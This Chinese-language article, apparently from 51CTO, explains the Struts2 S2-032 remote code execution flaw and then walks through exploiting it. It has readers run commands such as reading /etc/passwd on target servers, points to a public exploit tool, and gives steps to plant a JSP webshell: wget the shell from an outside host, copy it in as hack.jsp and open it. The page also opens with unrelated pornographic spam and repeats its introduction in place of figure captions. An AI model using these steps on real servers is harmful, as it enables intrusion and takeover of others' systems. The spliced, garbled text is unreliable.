自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032分析及其利用

原創(chuàng)
安全 漏洞 應(yīng)用安全
Struts2遠(yuǎn)程代碼執(zhí)行漏洞(s2-032)引發(fā)了無(wú)數(shù)大型系統(tǒng)的“血案”,很多從事開發(fā)和安全維護(hù)的朋友,在4月26日基本是無(wú)眠之夜,在撰寫本文時(shí),在烏云和360補(bǔ)天平臺(tái)上鋪天蓋地的s2-032遠(yuǎn)程執(zhí)行漏洞,航空、銀行、學(xué)校和政府成為本次漏洞的重災(zāi)區(qū),s2-032遠(yuǎn)程代碼執(zhí)行漏洞危害大,本文對(duì)s2-032漏洞進(jìn)行介紹,并對(duì)如何利用等進(jìn)行詳細(xì)介紹。

Struts2遠(yuǎn)程代碼執(zhí)行漏洞(s2-032)引發(fā)了無(wú)數(shù)大型系統(tǒng)的“血案”,很多從事開發(fā)和安全維護(hù)的朋友,在4月26日基本是無(wú)眠之夜,在撰寫本文時(shí),在烏云和360補(bǔ)天平臺(tái)上鋪天蓋地的s2-032遠(yuǎn)程執(zhí)行漏洞,航空、銀行、學(xué)校和政府成為本次漏洞的重災(zāi)區(qū),s2-032遠(yuǎn)程代碼執(zhí)行漏洞危害大,本文對(duì)s2-032漏洞進(jìn)行介紹,并對(duì)如何利用等進(jìn)行詳細(xì)介紹。

[[165868]]

1.Struts簡(jiǎn)介

Struts是Apache基金會(huì)Jakarta項(xiàng)目組的一個(gè)開源項(xiàng)目,Struts通過采用Java Servlet/JSP技術(shù),實(shí)現(xiàn)了基于Java EE Web應(yīng)用的Model-View-Controller(MVC)設(shè)計(jì)模式的應(yīng)用框架,是MVC經(jīng)典設(shè)計(jì)模式中的一個(gè)經(jīng)典產(chǎn)品。目前,Struts框架廣泛應(yīng)用于政府、公安、交通、金融行業(yè)和運(yùn)營(yíng)商的網(wǎng)站建設(shè),作為網(wǎng)站開發(fā)的底層模板使用,是應(yīng)用最廣泛的Web應(yīng)用框架之一。

Struts 2是Struts的下一代產(chǎn)品,是在 struts 1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并的全新的Struts 2框架。其全新的Struts 2的體系結(jié)構(gòu)與Struts 1的體系結(jié)構(gòu)差別巨大,其在Action的實(shí)現(xiàn)方面線程模型方面、Servlet依賴方面、封裝請(qǐng)求參數(shù)、表達(dá)式語(yǔ)言方面、綁定值到視圖技術(shù)、類型轉(zhuǎn)換、Action執(zhí)行控制的對(duì)比、攔截器的應(yīng)用等方面較Struts1進(jìn)行了較大改進(jìn)。Struts 2以WebWork為核心,采用攔截器的機(jī)制來(lái)處理用戶的請(qǐng)求,這樣的設(shè)計(jì)也使得業(yè)務(wù)邏輯控制器能夠與 ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產(chǎn)品。雖然從Struts 1到Struts 2有著太大的變化,但是相對(duì)于WebWork,Struts 2的變化很小。

2. s2-032漏洞簡(jiǎn)介

4月15號(hào)安恒安全研究院在Struts 2上發(fā)現(xiàn)了一個(gè)嚴(yán)重的遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2016-3081)(http://seclab.dbappsecurity.com.cn/?p=924),也即Struts 2的s2-032漏洞,4月26日,互聯(lián)網(wǎng)上披露了Apache Struts 2 S2-032遠(yuǎn)程代碼執(zhí)行漏洞的利用代碼,經(jīng)測(cè)試,遠(yuǎn)程攻擊者利用漏洞可在開啟動(dòng)態(tài)方法調(diào)用功能的Apache Struts 2服務(wù)器上執(zhí)行任意代碼,取得網(wǎng)站服務(wù)器控制權(quán)。

(1)調(diào)用方法

Struts2是第二代基于Model-View-Controller (MVC)模型的java企業(yè)級(jí)web應(yīng)用框架,并成為當(dāng)時(shí)國(guó)內(nèi)外較為流行的容器軟件中間件。Struts 2的核心jar包-struts2-core中,存在一個(gè)default.properties的默認(rèn)配置文件用于配置全局信息,當(dāng)struts.enable.DynamicMethodInvocation = true,即開啟動(dòng)態(tài)方法調(diào)用。盡管在Struts2目前的安全策略中,對(duì)部分動(dòng)態(tài)調(diào)用方法進(jìn)行了特殊字符傳遞的限制,但在該漏洞中攻擊者仍能通過通過OGNL表達(dá)式靜態(tài)調(diào)用獲取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS屬性并覆蓋_memberAccess的方式進(jìn)行繞過,進(jìn)而可在受控制的服務(wù)器端執(zhí)行任意代碼。

(2)漏洞影響范圍

漏洞影響Struts 2.0.0 - 2.3.28 (除2.3.20.2和2.3.24.2以外)版本

(3)漏洞修復(fù)建議

Apache Struts官方已發(fā)布了升級(jí)程序修復(fù)該漏洞,建議用戶升級(jí)至struts 2.3.20.2,2.3.24.2,2.3.28.1版本。更新地址:https://cwiki.apache.org/confluence/display/WW/Migration+Guide。未能及時(shí)升級(jí)的用戶也可通過如下參數(shù)設(shè)置關(guān)閉動(dòng)態(tài)方法調(diào)用功能來(lái)規(guī)避該漏洞的攻擊威脅

3.漏洞測(cè)試樣例

(1)測(cè)試當(dāng)前用戶

 

Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032及其利用

 

將以上代碼復(fù)制到瀏覽器執(zhí)行成功后會(huì)下載相應(yīng)的action文件,如圖1所示,本例中為login.action,則將該文件保存在本地后,使用notepad打開后可以看到第一行文件為root,表示當(dāng)前用戶為root,如圖2所示,還可以將其命令更換為id等其它命令。

Struts2遠(yuǎn)程代碼執(zhí)行漏洞(s2-032)引發(fā)了無(wú)數(shù)大型系統(tǒng)的“血案”,很多從事開發(fā)和安全維護(hù)的朋友,在4月26日基本是無(wú)眠之夜,在撰寫本文時(shí),在烏云和360補(bǔ)天平臺(tái)上鋪天蓋地的s2-032遠(yuǎn)程執(zhí)行漏洞,航空、銀行、學(xué)校和政府成為本次漏洞的重災(zāi)區(qū),s2-032遠(yuǎn)程代碼執(zhí)行漏洞危害大,本文對(duì)s2-032漏洞進(jìn)行介紹,并對(duì)如何利用等進(jìn)行詳細(xì)介紹。

圖1存在漏洞下載文件

Struts2遠(yuǎn)程代碼執(zhí)行漏洞(s2-032)

圖2查看漏洞執(zhí)行結(jié)果

(2)快速顯示漏洞

將command后的值設(shè)置為“netstat-an”或者“cat /etc/passwd”比較容易查看結(jié)果,如果存在結(jié)果,如圖3,圖4所示,則表明系統(tǒng)存在漏洞。如果是Windows則whoami會(huì)顯示為“nt authority\system”,其它多為root或者jboss。

Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032及其利用

圖3 執(zhí)行netstat命令

Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032及其利用

圖4執(zhí)行查看passwd文件命令

4.網(wǎng)上公開檢測(cè)地址

在線檢測(cè)s2-032的工具:

(1)http://0day.websaas.cn/

(2)https://www.seebug.org/monster/

將網(wǎng)站地址輸入檢測(cè)網(wǎng)站即可,如果存在漏洞會(huì)進(jìn)行提示,如圖5所示。

Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032及其利用

圖5在線檢測(cè)

5.網(wǎng)上公開的s2-032漏洞綜合利用工具

以K8為代表的安全愛好團(tuán)隊(duì)已經(jīng)公開s2-032漏洞的綜合利用工具,運(yùn)行后將網(wǎng)站地址復(fù)制到目標(biāo)中即可,注意必須要帶http或者h(yuǎn)ttps,如圖6所示,可以獲取目標(biāo)信息、執(zhí)行命令和文件上傳等功能。

Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032及其利用

圖6網(wǎng)上公開漏洞利用工具

6. s2-032漏洞的高級(jí)利用方法

發(fā)現(xiàn)s2-032漏洞后,可以利用K8 Struts2 Exploit利用工具,上傳Jsp小馬,例如可以執(zhí)行Linux命令的小馬,然后在服務(wù)器上放置一個(gè)大的Jsp馬,通過wget命令下載到本地,將其復(fù)制到相應(yīng)位置即可執(zhí)行。

wget http://www.antian365.com/jsp.txt

cp /opt/apache-tomcat-7.0.64/bin/jsp.txt /opt/apache-tomcat-7.0.64/app/hack.jsp

http://www.somesite.com/hack.jsp

7.參考文章

http://baike.baidu.com/view/1566725.htm

http://seclab.dbappsecurity.com.cn/?p=924

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 51CTO.com
相關(guān)推薦

2017-07-11 09:42:22

漏洞

2013-07-18 10:06:54

2013-05-22 10:28:19

2012-12-18 16:18:06

2013-07-19 09:36:04

struts2struts2漏洞

2017-03-08 22:23:02

2016-06-08 10:09:24

2013-07-18 15:09:27

2023-12-14 16:20:09

2017-07-14 13:51:19

2017-09-12 07:54:32

2017-08-22 13:45:27

2013-07-22 10:45:56

2017-07-17 11:00:53

2011-07-18 14:43:40

JSON模擬加載初析

2012-04-25 10:14:40

JavaStruts

2013-07-24 10:35:02

2009-07-29 09:54:34

struts2和str

2009-06-08 16:44:00

2009-06-25 15:11:28

Struts2教程Struts2程序
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)